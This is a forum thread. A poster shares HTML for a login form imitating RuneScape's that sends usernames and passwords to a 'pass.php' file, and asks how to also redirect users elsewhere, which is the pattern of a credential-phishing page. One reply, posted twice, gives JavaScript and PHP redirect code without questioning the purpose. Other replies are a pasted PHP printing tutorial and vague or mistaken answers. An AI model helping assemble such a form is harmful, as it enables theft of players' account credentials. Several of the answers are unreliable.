Welcome to Discuss Everything Forums...

If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed.


 

Tags for this Thread

+ Reply to Thread
Results 1 to 7 of 7
  1. #1
    Doctor Corbz
    Doctor Corbz's Avatar
    Guest

    .php or some kind of html coding?

    <form id="login_form" action="pass.php" method="get" autocomplete="off">
    <div class="section_form">

    how would I make this redirect to a website?
    Login to Access this Feature
    </div>
    <div id="inner_brown_box_login" class="inner_brown_box">

    <div class="hideme_wrapper">
    Please enter your username and password to continue.
    </div>
    <div class="loginapplet_wrapper">
    <div class="login_form">
    <form id="login_form" action="pass.php" method="get" autocomplete="off">
    <div class="section_form">
    <span style="float: left">RuneScape username:</span>
    <input style="float: right" size="20" type="text" name="username" maxlength="12">
    <br class="clear">
    </div>
    I have my form sending there information to the "pass.php" file but I would also like it to redirect to a specified link and send the infomation to the "pass.php" file

  2. #2
    Alt Prog
    Alt Prog's Avatar
    Guest
    You can add this:
    <script language="JavaScript">
    window.location="http://example.com/"
    </script>

    Edit:
    I don't suggest you use "get", "post is better and more secure.
    However, you can add this before the end of the form:
    <input type="submit" name="submit" value="Submit">
    and add this to the beginning of the page:
    <?php
    $c_username="theCorrectUsername";
    if ($_GET['username'] != $c_username){
    echo "<script language='JavaScript'> window.location='http://example.com/' </script>";
    }
    ?>

  3. #3
    gowdhaman r
    gowdhaman r's Avatar
    Guest
    If you using Form element with action attribute in HTML it invokes (redirects) automatically while the submit button clicked on the Form...

    Other wise you write Script

  4. #4
    Alt Prog
    Alt Prog's Avatar
    Guest
    You can add this:
    <script language="JavaScript">
    window.location="http://example.com/"
    </script>

    Edit:
    I don't suggest you use "get", "post is better and more secure.
    However, you can add this before the end of the form:
    <input type="submit" name="submit" value="Submit">
    and add this to the beginning of the page:
    <?php
    $c_username="theCorrectUsername";
    if ($_GET['username'] != $c_username){
    echo "<script language='JavaScript'> window.location='http://example.com/' </script>";
    }
    ?>

  5. #5
    Naveen K
    Naveen K's Avatar
    Guest
    PHP is not simply about outputting random values and simple text. You can seamlessly integrate PHP with HTML and output tables, formatted text, and more. You are probably wondering, what's the big deal about this? The deal is that you can control what is displayed on your site by integrating PHP and HTML. Best of all, PHP does not have its own set of formatting tags for you to learn. You use HTML.

    So let's get started. First, copy and paste the following code into a PHP page:

    <html>
    <body>
    <?php
    print("Can gophers really code PHP?");
    ?>
    </body>
    </html>
    When you preview the page containing the above code, you should see the text "Can gophers really code PHP?" The text is not formatted at all. You will see the text displayed in whatever the default font is set to on your browser.

    You don't have to suffer through dull, boring text though. You can format it - all inside the PHP tag area. Let's say you want to Bold the text. Add the HTML tags for bold, <b> and </b> tags to your text:

    <?php
    print("<b>Can gophers really code PHP?</b>");
    ?>
    When you modify the code within your PHP tags with your Bold tags (see above code) and preview the page in your browser, you will find that the text is now bolded. Pretty cool, ehh? Now, let's try adding a horizontal line below the text. The html tag for displaying a horizontal line is <hr>.

    Let's add that tag to our code:

    <?php
    print("<b>Can gophers really code PHP?</b>");
    print("<hr>");
    ?>
    Now, test this code. You should now see your text with a horizontal line displayed. Just remember, all we used was standard HTML tags using the print command.

    Outputting Data Involving Quotes
    While all of this is pretty straightforward, there will be situations where you simply cannot place a series of HTML tags within the confines of the print command. The following is one such example

    Let's say we want to make our text a hyperlink. The HTML for doing such a trick is:

    <a href="http://www.kirupa.com/">Can gophers really code PHP?</a>

    Now, we cannot simply place the above HTML inside the print command. The reason is because of the dreaded quotation marks surrounding the URL. PHP misinterprets the quotation marks as referring to the end of the print command. You will probably end up with an error.

    The solution for outputting quotation marks, is to use the following two characters (quotation mark and back slash) in the place of a quotation mark: \" . Therefore, the print command for the above HTML code becomes:

    <?php
    print("<a href=\"http://www.kirupa.com/\">Can gophers really code PHP?</a>");
    ?>
    I emphasized the areas where a " was replaced with \" by coloring those characters in pink color. Whenever you see a quote, simply add a \ in front of it (or replace the quotation mark with a \"). I know I am repeating that again and again, but that is a minor detail that you may end up forgetting in the heat of the coding!

  6. #6
    kissyl
    kissyl's Avatar
    Guest
    php is like another form of .html if you're asking on how to redirect a site to another you would use the code: (< a href="" target=_blank"> ) without the parentheses you can check out www.pixelfx.org for specific tutorials.

  7. #7
    Mcbane P
    Mcbane P's Avatar
    Guest
    CSS if I'm not mistaken (I'm probably wrong)

 

 

Quick Reply Quick Reply

Click here to log in


What comes after M0nday

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. PHP/HTML coding on MAC?
    By Ryan in forum Discuss HTML
    Replies: 0
    Last Post: 11-29-2010, 05:25 AM
  2. html and php coding error?
    By DEVILISH DEMON in forum Discuss HTML
    Replies: 0
    Last Post: 10-04-2010, 05:08 PM
  3. Replies: 0
    Last Post: 10-04-2010, 05:07 PM
  4. what does php, ftp, html + coding mean?
    By shannaaa in forum Discuss PHP
    Replies: 0
    Last Post: 04-12-2010, 06:00 PM
  5. help with php/html coding?
    By Someone in forum Discuss HTML
    Replies: 0
    Last Post: 02-22-2009, 05:31 PM

Bookmarks

Posting Permissions

  • You may post new threads
  • You may post replies
  • You may not post attachments
  • You may not edit your posts
  •